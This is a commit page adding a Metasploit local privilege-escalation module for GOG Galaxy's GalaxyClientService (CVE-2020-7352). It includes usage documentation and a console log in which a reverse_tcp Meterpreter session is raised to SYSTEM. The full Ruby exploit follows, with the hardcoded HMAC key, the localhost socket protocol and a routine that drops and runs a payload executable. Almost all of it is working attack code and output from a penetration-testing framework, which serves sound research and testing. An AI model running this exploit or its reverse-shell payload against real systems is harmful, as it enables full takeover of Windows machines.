Land #13444, add GOG Galaxy Client Privesc
This commit is contained in:
@@ -0,0 +1,81 @@
|
||||
## Vulnerable Application
|
||||
|
||||
GOG Galaxy is a video game management client. One of its Windows services, *GalaxyClientService*, runs with *SYSTEM* privileges.
|
||||
In versions 2.0.12 and earlier, and 1.2.64 and earlier, it is possible to communicate with the service and instruct it to
|
||||
execute arbitrary commands as *SYSTEM*.
|
||||
|
||||
A vulnerable [version](https://www.gog.com/galaxy) need only be installed on the target machine in order to be exploitable.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start *msfconsole*.
|
||||
2. Acquire a Meterpreter session.
|
||||
3. Do: ```use exploit/windows/local/gog_galaxyclientservice_privesc```
|
||||
4. Do: ```set SESSION <session_no>```
|
||||
5. Do: ```exploit```
|
||||
6. Verify that you get a Meterpreter session.
|
||||
|
||||
## Options
|
||||
### WORKING_DIR
|
||||
|
||||
The initial working directory of the command.
|
||||
|
||||
## Scenarios
|
||||
### GOG Galaxy Client `v1.2.66.64` on Windows 10
|
||||
|
||||
```
|
||||
msf5 > use multi/handler
|
||||
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/handler) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(multi/handler) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Sending stage (201283 bytes) to 192.168.37.131
|
||||
[*] Meterpreter session 1 opened (192.168.37.1:4444 -> 192.168.37.131:50855) at 2020-06-15 08:35:15 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: DESKTOP-AQT4EG1\space
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-AQT4EG1
|
||||
OS : Windows 10 (10.0 Build 18362).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 15
|
||||
Meterpreter : x64/windows
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf5 exploit(multi/handler) > use exploit/windows/local/gog_galaxyclientservice_privesc
|
||||
msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > set lhost 192.168.37.1
|
||||
lhost => 192.168.37.1
|
||||
msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > check
|
||||
[*] The target appears to be vulnerable. Vulnerable version found: 1.2.66.64
|
||||
msf5 exploit(windows/local/gog_galaxyclientservice_privesc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.37.1:4444
|
||||
[*] Starting GalaxyClientService...
|
||||
[*] Service started successfully.
|
||||
[*] Connecting to service...
|
||||
[*] Writing C:\Users\space\AppData\Local\Temp\mqslPXvWyu.exe to target
|
||||
[*] Connected to service. Sending payload...
|
||||
[*] Sending stage (201283 bytes) to 192.168.37.131
|
||||
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.131:50857) at 2020-06-15 08:35:59 -0500
|
||||
[+] Command executed successfully!
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : DESKTOP-AQT4EG1
|
||||
OS : Windows 10 (10.0 Build 18362).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : WORKGROUP
|
||||
Logged On Users : 15
|
||||
Meterpreter : x64/windows
|
||||
```
|
||||
@@ -0,0 +1,194 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core/post/windows/services'
|
||||
require 'openssl'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::Windows::Services
|
||||
include Msf::Post::Windows::Priv
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'GOG GalaxyClientService Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module will send arbitrary file_paths to the GOG GalaxyClientService, which will be executed
|
||||
with SYSTEM privileges (verified on GOG Galaxy Client v1.2.62 and v2.0.12; prior versions are
|
||||
also likely affected).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Joe Testa <jtesta[at]positronsecurity.com>'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'meterpreter' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows (Dropper)',
|
||||
'Platform' => 'win',
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' },
|
||||
'Type' => :dropper
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 28 2020',
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://www.positronsecurity.com/blog/2020-04-28-gog-galaxy-client-local-privilege-escalation/'],
|
||||
['CVE', '2020-7352']
|
||||
],
|
||||
'Notes' =>
|
||||
{
|
||||
'SideEffects' => [ ARTIFACTS_ON_DISK ],
|
||||
'Reliability' => [ REPEATABLE_SESSION ],
|
||||
'Stability' => [ CRASH_SAFE ]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PATH', [ true, 'The path for the payload', '%TEMP%' ]),
|
||||
OptString.new('WORKING_DIR', [true, 'The initial working directory of the file_path', 'C:\\'])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
log_path = expand_path('%PROGRAMDATA%\\GOG.com\\Galaxy\\logs\\GalaxyClientService.log')
|
||||
service_path = expand_path('%PROGRAMFILES(x86)%\\GOG Galaxy\\GalaxyClientService.exe')
|
||||
|
||||
return CheckCode::Safe('Galaxy Client Service not found') unless file_exist?(service_path)
|
||||
return CheckCode::Detected('Unable to determine version') unless file_exist?(log_path)
|
||||
|
||||
log_data = read_file(log_path)
|
||||
unless log_data && /Application\s+version:\s+(?<ver_no>\d+\.\d+\.\d+\.\d*\.*)/ =~ log_data
|
||||
return CheckCode::Detected('Unable to determine version from log file')
|
||||
end
|
||||
|
||||
return CheckCode::Detected('Galaxy Client version not found') unless ver_no
|
||||
|
||||
version = Gem::Version.new(ver_no)
|
||||
|
||||
return CheckCode::Appears("Vulnerable version found: #{ver_no}") if version < Gem::Version.new('2.0.13')
|
||||
|
||||
CheckCode::Detected("Galaxy Client version #{ver_no} not vulnerable")
|
||||
end
|
||||
|
||||
def exploit
|
||||
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?
|
||||
fail_with(Failure::None, 'Session type must be Meterpreter session') unless session.type == 'meterpreter'
|
||||
|
||||
# The HMAC-SHA512 key for signing file_paths.
|
||||
key = "\xc8\x86\x07\xe1\x18\x22\x7a\x38\x05\xc4\x7f"
|
||||
key << "\x89\x3d\xa4\x1f\xcb\xdf\x16\x9e\xc9\xbb\xcb"
|
||||
key << "\xfd\xb1\x9a\x9f\x5b\x1f\xeb\x9f\x6c\x1e\x3c"
|
||||
key << "\x14\x46\x44\x6f\x9d\x8d\xfd\x67\x8e\xc6\xd4"
|
||||
key << "\x0c\x38\x20\xcb\x9a\x29\xb5\x2f\x5d\xb2\xfd"
|
||||
key << "\xb6\xf8\x0f\xf9\x5b\xf8\x50\xaa\x5d"
|
||||
|
||||
# Start the GalaxyClientService. It will automatically terminate after ~10
|
||||
# seconds of inactivity, so we don't need to bother shutting it down later.
|
||||
print_status('Starting GalaxyClientService...')
|
||||
ret = service_start('GalaxyClientService')
|
||||
if ret == 0
|
||||
print_status('Service started successfully.')
|
||||
elsif (ret == 1056) || (ret == 1)
|
||||
print_warning('Service already running. If the file_path execution fails, try it again in 15 seconds or so.')
|
||||
else
|
||||
print_status("Service status unknown (return code: #{ret}). Continuing anyway...")
|
||||
end
|
||||
|
||||
print_status('Connecting to service...')
|
||||
|
||||
# Create a TCP socket.
|
||||
handler = client.railgun.ws2_32.socket('AF_INET', 'SOCK_STREAM', 'IPPROTO_TCP')
|
||||
s = handler['return']
|
||||
|
||||
# Set timeout to 10 seconds (0xffff = SOL_SOCKET, 0x1006 = SO_RCVTIMEO).
|
||||
# This only affects the recv(), not connect().
|
||||
handler = client.railgun.ws2_32.setsockopt(s, 0xffff, 0x1006, [10000].pack('L<'), 4)
|
||||
|
||||
# Set the socket address structure to localhost:9978.
|
||||
sock_addr = "\x02\x00"
|
||||
sock_addr << [9978].pack('n')
|
||||
sock_addr << Rex::Socket.addr_aton('127.0.0.1')
|
||||
sock_addr << "\x00" * 8
|
||||
|
||||
# Connect to the service. Retry up to 3 times, waiting 2 seconds in
|
||||
# between.
|
||||
connected = false
|
||||
retries = 0
|
||||
while (retries < 3) && (connected == false)
|
||||
retries += 1
|
||||
handler = client.railgun.ws2_32.connect(s, sock_addr, 16)
|
||||
if handler['GetLastError'] == 0
|
||||
connected = true
|
||||
else
|
||||
print_warning('Connection failed. Waiting 2 seconds and trying again...')
|
||||
Rex.sleep(2)
|
||||
end
|
||||
end
|
||||
|
||||
fail_with(Failure::Unreachable, 'Failed to connect to service') unless connected
|
||||
|
||||
data = build_payload(key)
|
||||
print_status('Connected to service. Sending payload...')
|
||||
|
||||
# Here, we are calling client.railgun.ws2_32.send(). However, there's a bug
|
||||
# somewhere in the railgun system such that send() is never called. It
|
||||
# seems that some mystery code is intercepting send() instead of letting it
|
||||
# get to LibraryWrapper.method_missing() (perhaps 'send' is a special case
|
||||
# somewhere? The other ws2_32 functions work just fine...). To work around
|
||||
# this problem, we will simply call it directly with call_function().
|
||||
send_func = client.railgun.ws2_32.functions['send']
|
||||
client.railgun.ws2_32._library.call_function(send_func, [s, data, data.length, 0], client)
|
||||
|
||||
# Read the server's response. On error, it returns nothing.
|
||||
response = "\x00" * 512
|
||||
handler = client.railgun.ws2_32.recv(s, response, response.length, 0)
|
||||
|
||||
# Convert the unsigned return value to a signed value.
|
||||
ret = [handler['return'].to_i].pack('l').unpack1('l')
|
||||
if ret <= 0
|
||||
print_error("Failed to read response from service (return value from recv(): #{ret}). This probably means the exploit failed. :(")
|
||||
else
|
||||
print_good('Command executed successfully!')
|
||||
end
|
||||
|
||||
client.railgun.ws2_32.closesocket(s)
|
||||
end
|
||||
|
||||
def build_payload(key)
|
||||
working_dir = datastore['WORKING_DIR']
|
||||
|
||||
header1 = "\x00\x93\x08\x04\x10\x01\x18"
|
||||
header2 = " \xa1\x90\xec\xe6\x05\xc2\x0c\x83\x01\n\x80\x01"
|
||||
|
||||
payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.exe"
|
||||
file_path = expand_path("#{datastore['PATH']}\\#{payload_name}")
|
||||
payload_data = generate_payload_exe
|
||||
|
||||
print_status("Writing #{file_path} to target")
|
||||
write_file(file_path, payload_data)
|
||||
register_file_for_cleanup(file_path)
|
||||
|
||||
gog_cmd = "\n#{file_path.length.chr}#{file_path}\x12"
|
||||
gog_cmd += "#{(file_path.length + 4).chr}\"#{file_path}\" \x1a#{working_dir.length.chr}#{working_dir} \x01(\x01"
|
||||
|
||||
payload_hmac = OpenSSL::HMAC.hexdigest('SHA512', key, gog_cmd)
|
||||
header1 + gog_cmd.length.chr + header2 + payload_hmac + gog_cmd
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user